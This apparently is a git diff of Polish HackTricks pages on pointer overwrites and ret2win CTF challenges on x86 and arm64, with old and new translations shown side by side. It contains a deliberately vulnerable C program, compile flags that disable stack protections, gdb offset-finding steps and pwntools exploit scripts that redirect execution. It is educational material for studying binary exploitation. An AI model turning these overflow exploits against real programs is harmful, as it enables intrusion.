||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Wskaźniki do łańcuchów
|
||||
## Wskaźniki łańcuchów
|
||||
|
||||
Jeśli wywołanie funkcji ma użyć adresu łańcucha znajdującego się na stosie, można nadużyć przepełnienia bufora, aby **nadpisać ten adres** i umieścić **adres innego łańcucha** wewnątrz pliku binarnego.
|
||||
Jeśli wywołanie funkcji ma użyć adresu łańcucha, który znajduje się na stosie, możliwe jest nadużycie przepełnienia bufora, aby **nadpisać ten adres** i umieścić **adres innego łańcucha** wewnątrz binarnego.
|
||||
|
||||
Jeśli na przykład wywołanie funkcji **`system`** ma **użyć adresu łańcucha do wykonania polecenia**, atakujący mógłby umieścić **adres innego łańcucha na stosie**, **`export PATH=.:$PATH`** i utworzyć w bieżącym katalogu **skrypt o nazwie pierwszej litery nowego łańcucha**, ponieważ zostanie on wykonany przez plik binarny.
|
||||
Na przykład, jeśli wywołanie funkcji **`system`** ma **użyć adresu łańcucha do wykonania polecenia**, atakujący może umieścić **adres innego łańcucha na stosie**, **`export PATH=.:$PATH`** i stworzyć w bieżącym katalogu **skrypt o nazwie pierwszej litery nowego łańcucha**, ponieważ zostanie on wykonany przez binarny.
|
||||
|
||||
Możesz znaleźć **przykład** tego w:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tw17\_justdoit/index.html)
|
||||
* 32-bitowy, zmień adres na łańcuch flag w stosie, aby został wydrukowany przez `puts`
|
||||
* 32bit, zmień adres na łańcuch flag w stosie, aby został wydrukowany przez `puts`
|
||||
|
||||
## Wskaźniki funkcji
|
||||
|
||||
To samo co wskaźnik do łańcucha, ale stosuje się to do funkcji, jeśli **stos zawiera adres funkcji**, która zostanie wywołana, można go **zmienić** (np. aby wywołać **`system`**).
|
||||
To samo co wskaźnik łańcucha, ale stosujące do funkcji, jeśli **stos zawiera adres funkcji**, która ma być wywołana, możliwe jest **zmienienie go** (np. aby wywołać **`system`**).
|
||||
|
||||
Przykład znajdziesz w:
|
||||
Możesz znaleźć przykład w:
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c)
|
||||
|
||||
## Referencje
|
||||
## Odniesienia
|
||||
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Ret2win
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Wyzwania Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezawołanej funkcji wewnątrz binarnego pliku, często nazwanej np. `win`, `flag`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
|
||||
**Ret2win** to popularna kategoria wyzwań w **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **binary exploitation**. Celem jest wykorzystanie luki w danym binarnym pliku, aby wykonać określoną, niewywołaną funkcję w tym pliku, często nazywaną `win`, `flag` itp. Ta funkcja, po wykonaniu, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby przekierować przepływ wykonania do pożądanej funkcji. Oto bardziej szczegółowe wyjaśnienie z przykładami:
|
||||
|
||||
### Przykład w języku C
|
||||
### Przykład w C
|
||||
|
||||
Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać:
|
||||
Rozważmy prosty program w C z luką i funkcją `win`, którą zamierzamy wywołać:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
@ -39,19 +40,19 @@ vulnerable_function();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć poniższej komendy:
|
||||
Aby skompilować ten program bez ochrony stosu i z wyłączonym **ASLR**, możesz użyć następującego polecenia:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
|
||||
* `-fno-stack-protector`: Wyłącz zabezpieczenia przed przepełnieniem stosu.
|
||||
* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
|
||||
* `-no-pie`: Wyłącz wykonywalny plik o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
|
||||
* `-m32`: Kompiluj program jako 32-bitowy plik binarny (to jest opcjonalne, ale powszechne w wyzwaniach CTF).
|
||||
* `-fno-stack-protector`: Wyłącz ochronę przed przepełnieniem stosu.
|
||||
* `-z execstack`: Zezwól na wykonywanie kodu na stosie.
|
||||
* `-no-pie`: Wyłącz Position Independent Executable, aby upewnić się, że adres funkcji `win` się nie zmienia.
|
||||
* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
|
||||
|
||||
### Wykorzystanie exploitu w Pythonie za pomocą Pwntools
|
||||
### Python Exploit używając Pwntools
|
||||
|
||||
Do eksploatacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
|
||||
Do exploitacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitowy stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -71,42 +72,42 @@ payload = b'A' * 68 + win_addr
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. hNa przykład, z `objdump`, możesz użyć:
|
||||
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia, które pozwala na inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym.
|
||||
To polecenie pokaże Ci asembler funkcji `win`, w tym jej adres początkowy. 
|
||||
|
||||
Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po przetworzeniu przez funkcję `vulnerable_function` powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć, skacze do funkcji `win`, a wiadomość zostaje wyświetlona.
|
||||
Skrypt Pythona wysyła starannie skonstruowaną wiadomość, która, gdy jest przetwarzana przez `vulnerable_function`, przepełnia bufor i nadpisuje adres powrotu na stosie adresem `win`. Gdy `vulnerable_function` zwraca, zamiast wracać do `main` lub kończyć, skacze do `win`, a wiadomość jest drukowana.
|
||||
|
||||
## Zabezpieczenia
|
||||
## Ochrony
|
||||
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone** aby adres był niezawodny w kolejnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będzie potrzebny jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja `win`. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można dokonać **Częściowego Nadpisania** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję `win`. Ze względu na działanie ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu.
|
||||
* [**Canary na Stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie zawsze będzie taki sam i potrzebowałbyś jakiegoś leaku, aby dowiedzieć się, gdzie załadowana jest funkcja win. W niektórych przypadkach, gdy funkcja, która powoduje przepełnienie, to `read` lub podobna, możesz wykonać **Częściowe Nadpisanie** 1 lub 2 bajtów, aby zmienić adres powrotu na funkcję win. Z powodu działania ASLR, ostatnie trzy heksadecymalne nibble nie są losowe, więc istnieje **1/16 szansy** (1 nibble), aby uzyskać poprawny adres powrotu.
|
||||
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie będzie śledzony.
|
||||
|
||||
## Inne przykłady i Odnośniki
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
|
||||
* 32 bity, brak ASLR
|
||||
* 32 bity, bez ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
|
||||
* 64 bity z ASLR, z wyciekiem adresu binarnego
|
||||
* 64 bity z ASLR, z leakiem adresu bin
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||
* 64 bity, brak ASLR
|
||||
* 64 bity, bez ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||
* 32 bity, brak ASLR, podwójne małe przepełnienie, najpierw przepełnienie stosu i zwiększenie rozmiaru drugiego przepełnienia
|
||||
* 32 bity, bez ASLR, podwójne małe przepełnienie, pierwsze przepełnia stos i zwiększa rozmiar drugiego przepełnienia
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* 32 bity, relro, bez canary, nx, bez pie, format string do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) do wywołania funkcji win
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) do wywołania funkcji win
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
|
||||
* Program tylko waliduje ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego możliwe jest dodanie dowolnego rozmiaru, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście tworzy przepełnienie bufora wykorzystane z ret2win.
|
||||
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win)
|
||||
* 64 bity, relro, bez canary, nx, pie. Częściowe nadpisanie, aby wywołać funkcję win (ret2win)
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
|
||||
* arm64, PIE, ujawnia wyciek PIE, funkcja win to tak naprawdę 2 funkcje, więc gadżet ROP, który wywołuje 2 funkcje
|
||||
* arm64, PIE, daje wyciek PIE, funkcja win to tak naprawdę 2 funkcje, więc gadżet ROP, który wywołuje 2 funkcje
|
||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
|
||||
* ARM64, off-by-one do wywołania funkcji win
|
||||
|
||||
|
@ -116,16 +117,17 @@ Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po p
|
|||
[ret2win-arm64.md](ret2win-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ret2win - arm64
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Znajdź wprowadzenie do arm64 w:
|
||||
|
||||
|
@ -20,7 +21,7 @@ Znajdź wprowadzenie do arm64 w:
|
|||
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Code 
|
||||
## Kod 
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
@ -39,11 +40,11 @@ vulnerable_function();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Kompiluj bez opcji PIE i canary:
|
||||
Kompiluj bez pie i canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
```
|
||||
## Znajdowanie przesunięcia
|
||||
## Znalezienie offsetu
|
||||
|
||||
### Opcja wzorca
|
||||
|
||||
|
@ -57,7 +58,7 @@ run
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy tego użyć do znalezienia przesunięcia wzorca:
|
||||
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy to wykorzystać do znalezienia przesunięcia wzorca:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
|
@ -67,7 +68,7 @@ pattern search $x30
|
|||
|
||||
### Opcja przesunięcia stosu
|
||||
|
||||
Zacznij od uzyskania adresu stosu, w którym przechowywany jest rejestr pc:
|
||||
Zacznij od uzyskania adresu stosu, w którym przechowywana jest rejestr pc:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
|
@ -76,14 +77,14 @@ info frame
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Teraz ustaw punkt przerwania po `read()` i kontynuuj do momentu wykonania `read()` oraz ustaw wzorzec, na przykład 13371337:
|
||||
Teraz ustaw punkt przerwania po `read()` i kontynuuj, aż `read()` zostanie wykonane, a następnie ustaw wzór, taki jak 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
|
||||
Znajdź, gdzie ten wzór jest przechowywany w pamięci:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -93,7 +94,7 @@ Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
|||
|
||||
## Brak PIE
|
||||
|
||||
### Regular
|
||||
### Zwykły
|
||||
|
||||
Uzyskaj adres funkcji **`win`**:
|
||||
```bash
|
||||
|
@ -101,7 +102,7 @@ objdump -d ret2win | grep win
|
|||
ret2win: file format elf64-littleaarch64
|
||||
00000000004006c4 <win>:
|
||||
```
|
||||
Wykorzystanie:
|
||||
Eksploit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -125,7 +126,7 @@ p.close()
|
|||
|
||||
### Off-by-1
|
||||
|
||||
W rzeczywistości będzie to bardziej off-by-2 w przechowywanym PC na stosie. Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartości `0x06c4`.
|
||||
W rzeczywistości będzie to bardziej przypominać off-by-2 w przechowywanym PC w stosie. Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
